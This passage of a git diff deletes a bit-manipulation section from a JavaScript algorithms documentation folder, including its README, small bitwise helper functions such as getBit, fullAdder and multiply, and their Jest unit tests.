-    [-0.1, '1011111110111001100110011001100110011001100110011001100110011010'],
-    [0, '0000000000000000000000000000000000000000000000000000000000000000'],
-    [4.94065645841246544177e-324, '0000000000000000000000000000000000000000000000000000000000000001'],
-    [0.00000456, '0011111011010011001000000100001101000001011100110011110011100100'],
-    [0.1, '0011111110111001100110011001100110011001100110011001100110011010'],
-    [0.2, '0011111111001001100110011001100110011001100110011001100110011010'],
-    [0.3, '0011111111010011001100110011001100110011001100110011001100110011'],
-    [1, '0011111111110000000000000000000000000000000000000000000000000000'],
-    [1.5, '0011111111111000000000000000000000000000000000000000000000000000'],
-    [1.75, '0011111111111100000000000000000000000000000000000000000000000000'],
-    [1.875, '0011111111111110000000000000000000000000000000000000000000000000'],
-    [1.79769313486231570815e308, '0111111111101111111111111111111111111111111111111111111111111111']
-];
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/README.md b/docs/content/DS_ALGO/algorithms/math/bits/README.md
deleted file mode 100644
index e3be351398..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/README.md
+++ /dev/null
@@ -1,272 +0,0 @@
-# Bit Manipulation
-
-[français](README.fr-FR.md),
-
-#### Get Bit
-
-This method shifts the relevant bit to the zeroth position.
-Then we perform `AND` operation with one which has bit
-pattern like `0001`. This clears all bits from the original
-number except the relevant one. If the relevant bit is one,
-the result is `1`, otherwise the result is `0`.
-
-> See [getBit.js](getBit.js) for further details.
-
-#### Set Bit
-
-This method shifts `1` over by `bitPosition` bits, creating a
-value that looks like `00100`. Then we perform `OR` operation
-that sets specific bit into `1` but it does not affect on
-other bits of the number.
-
-> See [setBit.js](setBit.js) for further details.
-
-#### Clear Bit
-
-This method shifts `1` over by `bitPosition` bits, creating a
-value that looks like `00100`. Than it inverts this mask to get
-the number that looks like `11011`. Then `AND` operation is
-being applied to both the number and the mask. That operation
-unsets the bit.
-
-> See [clearBit.js](clearBit.js) for further details.
-
-#### Update Bit
-
-This method is a combination of "Clear Bit" and "Set Bit" methods.
-
-> See [updateBit.js](updateBit.js) for further details.
-
-#### isEven
-
-This method determines if the number provided is even.
-It is based on the fact that odd numbers have their last
-right bit to be set to 1.
-
-```text
-Number: 5 = 0b0101
-isEven: false
-
-Number: 4 = 0b0100
-isEven: true
-```
-
-> See [isEven.js](isEven.js) for further details.
-
-#### isPositive
-
-This method determines if the number is positive. It is based on the fact that all positive
-numbers have their leftmost bit to be set to `0`. However, if the number provided is zero
-or negative zero, it should still return `false`.
-
-```text
-Number: 1 = 0b0001
-isPositive: true
-
-Number: -1 = -0b0001
-isPositive: false
-```
-
-> See [isPositive.js](isPositive.js) for further details.
-
-#### Multiply By Two
-
-This method shifts original number by one bit to the left.
-Thus all binary number components (powers of two) are being
-multiplying by two and thus the number itself is being
-multiplied by two.
-
-```
-Before the shift
-Number: 0b0101 = 5
-Powers of two: 0 + 2^2 + 0 + 2^0
-
-After the shift
-Number: 0b1010 = 10
-Powers of two: 2^3 + 0 + 2^1 + 0
-```
-
-> See [multiplyByTwo.js](multiplyByTwo.js) for further details.
-
-#### Divide By Two
-
-This method shifts original number by one bit to the right.
-Thus all binary number components (powers of two) are being
-divided by two and thus the number itself is being
-divided by two without remainder.
-
-```
-Before the shift
-Number: 0b0101 = 5
-Powers of two: 0 + 2^2 + 0 + 2^0
-
-After the shift
-Number: 0b0010 = 2
-Powers of two: 0 + 0 + 2^1 + 0
-```
-
-> See [divideByTwo.js](divideByTwo.js) for further details.
-
-#### Switch Sign
-
-This method make positive numbers to be negative and backwards.
-To do so it uses "Twos Complement" approach which does it by
-inverting all of the bits of the number and adding 1 to it.
-
-```
-1101 -3
-1110 -2
-1111 -1
-0000  0
-0001  1
-0010  2
-0011  3
-```
-
-> See [switchSign.js](switchSign.js) for further details.
-
-#### Multiply Two Signed Numbers
-
-This method multiplies two signed integer numbers using bitwise operators.
-This method is based on the following facts:
-
-```text
-a * b can be written in the below formats:
-  0                     if a is zero or b is zero or both a and b are zeroes
-  2a * (b/2)            if b is even
-  2a * (b - 1)/2 + a    if b is odd and positive
-  2a * (b + 1)/2 - a    if b is odd and negative
-```
-
-The advantage of this approach is that in each recursive step one of the operands
-reduces to half its original value. Hence, the run time complexity is `O(log(b))` where `b` is
-the operand that reduces to half on each recursive step.
-
-> See [multiply.js](multiply.js) for further details.
-
-#### Multiply Two Unsigned Numbers
-
-This method multiplies two integer numbers using bitwise operators.
-This method is based on that "Every number can be denoted as the sum of powers of 2".
-
-The main idea of bitwise multiplication is that every number may be split
-to the sum of powers of two:
-
-I.e.
-
-```text
-19 = 2^4 + 2^1 + 2^0
-```
-
-Then multiplying number `x` by `19` is equivalent of:
-
-```text
-x * 19 = x * 2^4 + x * 2^1 + x * 2^0
-```
-
-Now we need to remember that `x * 2^4` is equivalent of shifting `x` left
-by `4` bits (`x << 4`).
-
-> See [multiplyUnsigned.js](multiplyUnsigned.js) for further details.
-
-#### Count Set Bits
-
-This method counts the number of set bits in a number using bitwise operators.
-The main idea is that we shift the number right by one bit at a time and check
-the result of `&` operation that is `1` if bit is set and `0` otherwise.
-
-```text
-Number: 5 = 0b0101
-Count of set bits = 2
-```
-
-> See [countSetBits.js](countSetBits.js) for further details.
-
-#### Count Bits to Flip One Number to Another
-
-This methods outputs the number of bits required to convert one number to another.
-This makes use of property that when numbers are `XOR`-ed the result will be number
-of different bits.
-
-```
-5 = 0b0101
-1 = 0b0001
-Count of Bits to be Flipped: 1
-```
-
-> See [bitsDiff.js](bitsDiff.js) for further details.
-
-#### Count Bits of a Number
-
-To calculate the number of valuable bits we need to shift `1` one bit left each
-time and see if shifted number is bigger than the input number.
-
-```
-5 = 0b0101
-Count of valuable bits is: 3
-When we shift 1 four times it will become bigger than 5.
-```
-
-> See [bitLength.js](bitLength.js) for further details.
-
-#### Is Power of Two
-
-This method checks if a number provided is power of two. It uses the following
-property. Let's say that `powerNumber` is a number that has been formed as a power
-of two (i.e. 2, 4, 8, 16 etc.). Then if we'll do `&` operation between `powerNumber`
-and `powerNumber - 1` it will return `0` (in case if number is power of two).
-
-```
-Number: 4 = 0b0100
-Number: 3 = (4 - 1) = 0b0011
-4 & 3 = 0b0100 & 0b0011 = 0b0000 <-- Equal to zero, is power of two.
-
-Number: 10 = 0b01010
-Number: 9 = (10 - 1) = 0b01001
-10 & 9 = 0b01010 & 0b01001 = 0b01000 <-- Not equal to zero, not a power of two.
-```
-
-> See [isPowerOfTwo.js](isPowerOfTwo.js) for further details.
-
-#### Full Adder
-
-This method adds up two integer numbers using bitwise operators.
-
-It implements [full adder](<https://en.wikipedia.org/wiki/Adder_(electronics)>)
-electronics circuit logic to sum two 32-bit integers in two's complement format.
-It's using the boolean logic to cover all possible cases of adding two input bits:
-with and without a "carry bit" from adding the previous less-significant stage.
-
-Legend:
-
--   `A`: Number `A`
--   `B`: Number `B`
--   `ai`: ith bit of number `A`
--   `bi`: ith bit of number `B`
--   `carryIn`: a bit carried in from the previous less-significant stage
--   `carryOut`: a bit to carry to the next most-significant stage
--   `bitSum`: The sum of `ai`, `bi`, and `carryIn`
--   `resultBin`: The full result of adding current stage with all less-significant stages (in binary)
--   `resultDec`: The full result of adding current stage with all less-significant stages (in decimal)
-
-```
-A = 3: 011
-B = 6: 110
-┌──────┬────┬────┬─────────┬──────────┬─────────┬───────────┬───────────┐
-│  bit │ ai │ bi │ carryIn │ carryOut │  bitSum │ resultBin │ resultDec │
-├──────┼────┼────┼─────────┼──────────┼─────────┼───────────┼───────────┤
-│   0  │ 1  │ 0  │    0    │    0     │     1   │       1   │     1     │
-│   1  │ 1  │ 1  │    0    │    1     │     0   │      01   │     1     │
-│   2  │ 0  │ 1  │    1    │    1     │     0   │     001   │     1     │
-│   3  │ 0  │ 0  │    1    │    0     │     1   │    1001   │     9     │
-└──────┴────┴────┴─────────┴──────────┴─────────┴───────────┴───────────┘
-```
-
-> See [fullAdder.js](fullAdder.js) for further details.
-> See [Full Adder on YouTube](https://www.youtube.com/watch?v=wvJc9CZcvBc&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8).
-
-## References
-
--   [Bit Manipulation on YouTube](https://www.youtube.com/watch?v=NLKQEOgBAnw&t=0s&index=28&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [Negative Numbers in binary on YouTube](https://www.youtube.com/watch?v=4qH4unVtJkE&t=0s&index=30&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [Bit Hacks on stanford.edu](https://graphics.stanford.edu/~seander/bithacks.html)
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/bitLength.js b/docs/content/DS_ALGO/algorithms/math/bits/bitLength.js
deleted file mode 100644
index 7dc66a7222..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/bitLength.js
+++ /dev/null
@@ -1,13 +0,0 @@
-/**
- * Return the number of bits used in the binary representation of the number.
- *
- * @param {number} number
- * @return {number}
- */
-export default function bitLength(number) {
-    let bitsCounter = 0;
-    while (1 << bitsCounter <= number) {
-        bitsCounter += 1;
-    }
-    return bitsCounter;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/bitsDiff.js b/docs/content/DS_ALGO/algorithms/math/bits/bitsDiff.js
deleted file mode 100644
index 57b3f73208..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/bitsDiff.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import countSetBits from './countSetBits';
-/**
- * Counts the number of bits that need to be change in order
- * to convert numberA to numberB.
- *
- * @param {number} numberA
- * @param {number} numberB
- * @return {number}
- */
-export default function bitsDiff(numberA, numberB) {
-    return countSetBits(numberA ^ numberB);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/clearBit.js b/docs/content/DS_ALGO/algorithms/math/bits/clearBit.js
deleted file mode 100644
index 5a6cecade0..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/clearBit.js
+++ /dev/null
@@ -1,9 +0,0 @@
-/**
- * @param {number} number
- * @param {number} bitPosition - zero based.
- * @return {number}
- */
-export default function clearBit(number, bitPosition) {
-    const mask = ~(1 << bitPosition);
-    return number & mask;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/countSetBits.js b/docs/content/DS_ALGO/algorithms/math/bits/countSetBits.js
deleted file mode 100644
index 4b7c0dae80..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/countSetBits.js
+++ /dev/null
@@ -1,15 +0,0 @@
-/**
- * @param {number} originalNumber
- * @return {number}
- */
-export default function countSetBits(originalNumber) {
-    let setBitsCount = 0;
-    let number = originalNumber;
-    while (number) {
-        // Add last bit of the number to the sum of set bits.
-        setBitsCount += number & 1;
-        // Shift number right by one bit to investigate other bits.
-        number >>>= 1;
-    }
-    return setBitsCount;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/divideByTwo.js b/docs/content/DS_ALGO/algorithms/math/bits/divideByTwo.js
deleted file mode 100644
index 0b14d522f9..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/divideByTwo.js
+++ /dev/null
@@ -1,7 +0,0 @@
-/**
- * @param {number} number
- * @return {number}
- */
-export default function divideByTwo(number) {
-    return number >> 1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/fullAdder.js b/docs/content/DS_ALGO/algorithms/math/bits/fullAdder.js
deleted file mode 100644
index 4ca9a536f9..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/fullAdder.js
+++ /dev/null
@@ -1,63 +0,0 @@
-import getBit from './getBit';
-/**
- * Add two numbers using only binary operators.
- *
- * This is an implementation of full adders logic circuit.
- * https://en.wikipedia.org/wiki/Adder_(electronics)
- * Inspired by: https://www.youtube.com/watch?v=wvJc9CZcvBc
- *
- * Table(1)
- *  INPUT  | OUT
- *  C Ai Bi | C Si | Row
- * -------- | -----| ---
- *  0  0  0 | 0  0 | 1
- *  0  0  1 | 0  1 | 2
- *  0  1  0 | 0  1 | 3
- *  0  1  1 | 1  0 | 4
- * -------- | ---- | --
- *  1  0  0 | 0  1 | 5
- *  1  0  1 | 1  0 | 6
- *  1  1  0 | 1  0 | 7
- *  1  1  1 | 1  1 | 8
- * ---------------------
- *
- * Legend:
- * INPUT C = Carry in, from the previous less-significant stage
- * INPUT Ai = ith bit of Number A
- * INPUT Bi = ith bit of Number B
- * OUT C = Carry out to the next most-significant stage
- * OUT Si = Bit Sum, ith least significant bit of the result
- *
- *
- * @param {number} a
- * @param {number} b
- * @return {number}
- */
-export default function fullAdder(a, b) {
-    let result = 0;
-    let carry = 0;
-    // The operands of all bitwise operators are converted to signed
-    // 32-bit integers in two's complement format.
-    // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Signed_32-bit_integers
-    for (let i = 0; i < 32; i += 1) {
-        const ai = getBit(a, i);
-        const bi = getBit(b, i);
-        const carryIn = carry;
-        // Calculate binary Ai + Bi without carry (half adder)
-        // See Table(1) rows 1 - 4: Si = Ai ^ Bi
-        const aiPlusBi = ai ^ bi;
-        // Calculate ith bit of the result by adding the carry bit to Ai + Bi
-        // For Table(1) rows 5 - 8 carryIn = 1: Si = Ai ^ Bi ^ 1, flip the bit
-        // Fpr Table(1) rows 1 - 4 carryIn = 0: Si = Ai ^ Bi ^ 0, a no-op.
-        const bitSum = aiPlusBi ^ carryIn;
-        // Carry out one to the next most-significant stage
-        // when at least one of these is true:
-        // 1) Table(1) rows 6, 7: one of Ai OR Bi is 1 AND carryIn = 1
-        // 2) Table(1) rows 4, 8: Both Ai AND Bi are 1
-        const carryOut = (aiPlusBi & carryIn) | (ai & bi);
-        carry = carryOut;
-        // Set ith least significant bit of the result to bitSum.
-        result |= bitSum << i;
-    }
-    return result;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/getBit.js b/docs/content/DS_ALGO/algorithms/math/bits/getBit.js
deleted file mode 100644
index 74e1c9c35c..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/getBit.js
+++ /dev/null
@@ -1,8 +0,0 @@
-/**
- * @param {number} number
- * @param {number} bitPosition - zero based.
- * @return {number}
- */
-export default function getBit(number, bitPosition) {
-    return (number >> bitPosition) & 1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/isEven.js b/docs/content/DS_ALGO/algorithms/math/bits/isEven.js
deleted file mode 100644
index c9455f3b46..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/isEven.js
+++ /dev/null
@@ -1,7 +0,0 @@
-/**
- * @param {number} number
- * @return {boolean}
- */
-export default function isEven(number) {
-    return (number & 1) === 0;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/isPositive.js b/docs/content/DS_ALGO/algorithms/math/bits/isPositive.js
deleted file mode 100644
index b83f449304..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/isPositive.js
+++ /dev/null
@@ -1,12 +0,0 @@
-/**
- * @param {number} number - 32-bit integer.
- * @return {boolean}
- */
-export default function isPositive(number) {
-    // Zero is neither a positive nor a negative number.
-    if (number === 0) {
-        return false;
-    }
-    // The most significant 32nd bit can be used to determine whether the number is positive.
-    return ((number >> 31) & 1) === 0;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/isPowerOfTwo.js b/docs/content/DS_ALGO/algorithms/math/bits/isPowerOfTwo.js
deleted file mode 100644
index 3254876d7b..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/isPowerOfTwo.js
+++ /dev/null
@@ -1,7 +0,0 @@
-/**
- * @param {number} number
- * @return bool
- */
-export default function isPowerOfTwo(number) {
-    return (number & (number - 1)) === 0;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/multiply.js b/docs/content/DS_ALGO/algorithms/math/bits/multiply.js
deleted file mode 100644
index 1945290af8..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/multiply.js
+++ /dev/null
@@ -1,37 +0,0 @@
-import multiplyByTwo from './multiplyByTwo';
-import divideByTwo from './divideByTwo';
-import isEven from './isEven';
-import isPositive from './isPositive';
-/**
- * Multiply two signed numbers using bitwise operations.
- *
- * If a is zero or b is zero or if both a and b are zeros:
- * multiply(a, b) = 0
- *
- * If b is even:
- * multiply(a, b) = multiply(2a, b/2)
- *
- * If b is odd and b is positive:
- * multiply(a, b) = multiply(2a, (b-1)/2) + a
- *
- * If b is odd and b is negative:
- * multiply(a, b) = multiply(2a, (b+1)/2) - a
- *
- * Time complexity: O(log b)
- *
- * @param {number} a
- * @param {number} b
- * @return {number}
- */
-export default function multiply(a, b) {
-    // If a is zero or b is zero or if both a and b are zeros then the production is also zero.
-    if (b === 0 || a === 0) {
-        return 0;
-    }
-    // Otherwise we will have four different cases that are described above.
-    const multiplyByOddPositive = () => multiply(multiplyByTwo(a), divideByTwo(b - 1)) + a;
-    const multiplyByOddNegative = () => multiply(multiplyByTwo(a), divideByTwo(b + 1)) - a;
-    const multiplyByEven = () => multiply(multiplyByTwo(a), divideByTwo(b));
-    const multiplyByOdd = () => (isPositive(b) ? multiplyByOddPositive() : multiplyByOddNegative());
-    return isEven(b) ? multiplyByEven() : multiplyByOdd();
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/multiplyByTwo.js b/docs/content/DS_ALGO/algorithms/math/bits/multiplyByTwo.js
deleted file mode 100644
index 5f16df3dd7..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/multiplyByTwo.js
+++ /dev/null
@@ -1,7 +0,0 @@
-/**
- * @param {number} number
- * @return {number}
- */
-export default function multiplyByTwo(number) {
-    return number << 1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/multiplyUnsigned.js b/docs/content/DS_ALGO/algorithms/math/bits/multiplyUnsigned.js
deleted file mode 100644
index 8f6b9e3909..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/multiplyUnsigned.js
+++ /dev/null
@@ -1,38 +0,0 @@
-/**
- * Multiply to unsigned numbers using bitwise operator.
- *
- * The main idea of bitwise multiplication is that every number may be split
- * to the sum of powers of two:
- *
- * I.e. 19 = 2^4 + 2^1 + 2^0
- *
- * Then multiplying number x by 19 is equivalent of:
- *
- * x * 19 = x * 2^4 + x * 2^1 + x * 2^0
- *
- * Now we need to remember that (x * 2^4) is equivalent of shifting x left by 4 bits (x << 4).
- *
- * @param {number} number1
- * @param {number} number2
- * @return {number}
- */
-export default function multiplyUnsigned(number1, number2) {
-    let result = 0;
-    // Let's treat number2 as a multiplier for the number1.
-    let multiplier = number2;
-    // Multiplier current bit index.
-    let bitIndex = 0;
-    // Go through all bits of number2.
-    while (multiplier !== 0) {
-        // Check if current multiplier bit is set.
-        if (multiplier & 1) {
-            // In case if multiplier's bit at position bitIndex is set
-            // it would mean that we need to multiply number1 by the power
-            // of bit with index bitIndex and then add it to the result.
-            result += number1 << bitIndex;
-        }
-        bitIndex += 1;
-        multiplier >>= 1;
-    }
-    return result;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/setBit.js b/docs/content/DS_ALGO/algorithms/math/bits/setBit.js
deleted file mode 100644
index d9b880f581..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/setBit.js
+++ /dev/null
@@ -1,8 +0,0 @@
-/**
- * @param {number} number
- * @param {number} bitPosition - zero based.
- * @return {number}
- */
-export default function setBit(number, bitPosition) {
-    return number | (1 << bitPosition);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/switchSign.js b/docs/content/DS_ALGO/algorithms/math/bits/switchSign.js
deleted file mode 100644
index 26c7845ffe..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/switchSign.js
+++ /dev/null
@@ -1,8 +0,0 @@
-/**
- * Switch the sign of the number using "Twos Complement" approach.
- * @param {number} number
- * @return {number}
- */
-export default function switchSign(number) {
-    return ~number + 1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/bitLength.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/bitLength.test.js
deleted file mode 100644
index 0053e96401..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/bitLength.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import bitLength from '../bitLength';
-describe('bitLength', () => {
-    it('should calculate number of bits that the number is consists of', () => {
-        expect(bitLength(0b0)).toBe(0);
-        expect(bitLength(0b1)).toBe(1);
-        expect(bitLength(0b01)).toBe(1);
-        expect(bitLength(0b101)).toBe(3);
-        expect(bitLength(0b0101)).toBe(3);
-        expect(bitLength(0b10101)).toBe(5);
-        expect(bitLength(0b11110101)).toBe(8);
-        expect(bitLength(0b00011110101)).toBe(8);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/bitsDiff.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/bitsDiff.test.js
deleted file mode 100644
index e923d3e145..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/bitsDiff.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import bitsDiff from '../bitsDiff';
-describe('bitsDiff', () => {
-    it('should calculate bits difference between two numbers', () => {
-        expect(bitsDiff(0, 0)).toBe(0);
-        expect(bitsDiff(1, 1)).toBe(0);
-        expect(bitsDiff(124, 124)).toBe(0);
-        expect(bitsDiff(0, 1)).toBe(1);
-        expect(bitsDiff(1, 0)).toBe(1);
-        expect(bitsDiff(1, 2)).toBe(2);
-        expect(bitsDiff(1, 3)).toBe(1);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/clearBit.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/clearBit.test.js
deleted file mode 100644
index 3db71abad1..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/clearBit.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import clearBit from '../clearBit';
-describe('clearBit', () => {
-    it('should clear bit at specific position', () => {
-        // 1 = 0b0001
-        expect(clearBit(1, 0)).toBe(0);
-        expect(clearBit(1, 1)).toBe(1);
-        expect(clearBit(1, 2)).toBe(1);
-        // 10 = 0b1010
-        expect(clearBit(10, 0)).toBe(10);
-        expect(clearBit(10, 1)).toBe(8);
-        expect(clearBit(10, 3)).toBe(2);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/countSetBits.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/countSetBits.test.js
deleted file mode 100644
index 5f726b506c..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/countSetBits.test.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import countSetBits from '../countSetBits';
-describe('countSetBits', () => {
-    it('should return number of set bits', () => {
-        expect(countSetBits(0)).toBe(0);
-        expect(countSetBits(1)).toBe(1);
-        expect(countSetBits(2)).toBe(1);
-        expect(countSetBits(3)).toBe(2);
-        expect(countSetBits(4)).toBe(1);
-        expect(countSetBits(5)).toBe(2);
-        expect(countSetBits(21)).toBe(3);
-        expect(countSetBits(255)).toBe(8);
-        expect(countSetBits(1023)).toBe(10);
-        expect(countSetBits(-1)).toBe(32);
-        expect(countSetBits(-21)).toBe(30);
-        expect(countSetBits(-255)).toBe(25);
-        expect(countSetBits(-1023)).toBe(23);
-        expect(countSetBits(-4294967296)).toBe(0);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/divideByTwo.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/divideByTwo.test.js
deleted file mode 100644
index 9a2cca06dd..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/divideByTwo.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import divideByTwo from '../divideByTwo';
-describe('divideByTwo', () => {
-    it('should divide numbers by two using bitwise operations', () => {
-        expect(divideByTwo(0)).toBe(0);
-        expect(divideByTwo(1)).toBe(0);
-        expect(divideByTwo(3)).toBe(1);
-        expect(divideByTwo(10)).toBe(5);
-        expect(divideByTwo(17)).toBe(8);
-        expect(divideByTwo(125)).toBe(62);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/fullAdder.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/fullAdder.test.js
deleted file mode 100644
index 01a3239e51..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/fullAdder.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import fullAdder from '../fullAdder';
-describe('fullAdder', () => {
-    it('should add up two numbers', () => {
-        expect(fullAdder(0, 0)).toBe(0);
-        expect(fullAdder(2, 0)).toBe(2);
-        expect(fullAdder(0, 2)).toBe(2);
-        expect(fullAdder(1, 2)).toBe(3);
-        expect(fullAdder(2, 1)).toBe(3);
-        expect(fullAdder(6, 6)).toBe(12);
-        expect(fullAdder(-2, 4)).toBe(2);
-        expect(fullAdder(4, -2)).toBe(2);
-        expect(fullAdder(-4, -4)).toBe(-8);
-        expect(fullAdder(4, -5)).toBe(-1);
-        expect(fullAdder(2, 121)).toBe(123);
-        expect(fullAdder(121, 2)).toBe(123);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/getBit.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/getBit.test.js
deleted file mode 100644
index 6a4c56481c..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/getBit.test.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import getBit from '../getBit';
-describe('getBit', () => {
-    it('should get bit at specific position', () => {
-        // 1 = 0b0001
-        expect(getBit(1, 0)).toBe(1);
-        expect(getBit(1, 1)).toBe(0);
-        // 2 = 0b0010
-        expect(getBit(2, 0)).toBe(0);
-        expect(getBit(2, 1)).toBe(1);
-        // 3 = 0b0011
-        expect(getBit(3, 0)).toBe(1);
-        expect(getBit(3, 1)).toBe(1);
-        // 10 = 0b1010
-        expect(getBit(10, 0)).toBe(0);
-        expect(getBit(10, 1)).toBe(1);
-        expect(getBit(10, 2)).toBe(0);
-        expect(getBit(10, 3)).toBe(1);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/isEven.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/isEven.test.js
deleted file mode 100644
index 88b45226ea..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/isEven.test.js
+++ /dev/null
@@ -1,18 +0,0 @@
-import isEven from '../isEven';
-describe('isEven', () => {
-    it('should detect if a number is even', () => {
-        expect(isEven(0)).toBe(true);
-        expect(isEven(2)).toBe(true);
-        expect(isEven(-2)).toBe(true);
-        expect(isEven(1)).toBe(false);
-        expect(isEven(-1)).toBe(false);
-        expect(isEven(-3)).toBe(false);
-        expect(isEven(3)).toBe(false);
-        expect(isEven(8)).toBe(true);
-        expect(isEven(9)).toBe(false);
-        expect(isEven(121)).toBe(false);
-        expect(isEven(122)).toBe(true);
-        expect(isEven(1201)).toBe(false);
-        expect(isEven(1202)).toBe(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/isPositive.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/isPositive.test.js
deleted file mode 100644
index 3ffdd2471a..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/isPositive.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import isPositive from '../isPositive';
-describe('isPositive', () => {
-    it('should detect if a number is positive', () => {
-        expect(isPositive(1)).toBe(true);
-        expect(isPositive(2)).toBe(true);
-        expect(isPositive(3)).toBe(true);
-        expect(isPositive(5665)).toBe(true);
-        expect(isPositive(56644325)).toBe(true);
-        expect(isPositive(0)).toBe(false);
-        expect(isPositive(-0)).toBe(false);
-        expect(isPositive(-1)).toBe(false);
-        expect(isPositive(-2)).toBe(false);
-        expect(isPositive(-126)).toBe(false);
-        expect(isPositive(-5665)).toBe(false);
-        expect(isPositive(-56644325)).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/isPowerOfTwo.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/isPowerOfTwo.test.js
deleted file mode 100644
index 4a7b375c19..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/isPowerOfTwo.test.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import isPowerOfTwo from '../isPowerOfTwo';
-describe('isPowerOfTwo', () => {
-    it('should detect if the number is power of two', () => {
-        expect(isPowerOfTwo(1)).toBe(true);
-        expect(isPowerOfTwo(2)).toBe(true);
-        expect(isPowerOfTwo(3)).toBe(false);
-        expect(isPowerOfTwo(4)).toBe(true);
-        expect(isPowerOfTwo(5)).toBe(false);
-        expect(isPowerOfTwo(6)).toBe(false);
-        expect(isPowerOfTwo(7)).toBe(false);
-        expect(isPowerOfTwo(8)).toBe(true);
-        expect(isPowerOfTwo(9)).toBe(false);
-        expect(isPowerOfTwo(16)).toBe(true);
-        expect(isPowerOfTwo(23)).toBe(false);
-        expect(isPowerOfTwo(32)).toBe(true);
-        expect(isPowerOfTwo(127)).toBe(false);
-        expect(isPowerOfTwo(128)).toBe(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/multiply.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/multiply.test.js
deleted file mode 100644
index fb691b8a2d..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/multiply.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import multiply from '../multiply';
-describe('multiply', () => {
-    it('should multiply two numbers', () => {
-        expect(multiply(0, 0)).toBe(0);
-        expect(multiply(2, 0)).toBe(0);
-        expect(multiply(0, 2)).toBe(0);
-        expect(multiply(1, 2)).toBe(2);
-        expect(multiply(2, 1)).toBe(2);
-        expect(multiply(6, 6)).toBe(36);
-        expect(multiply(-2, 4)).toBe(-8);
-        expect(multiply(4, -2)).toBe(-8);
-        expect(multiply(-4, -4)).toBe(16);
-        expect(multiply(4, -5)).toBe(-20);
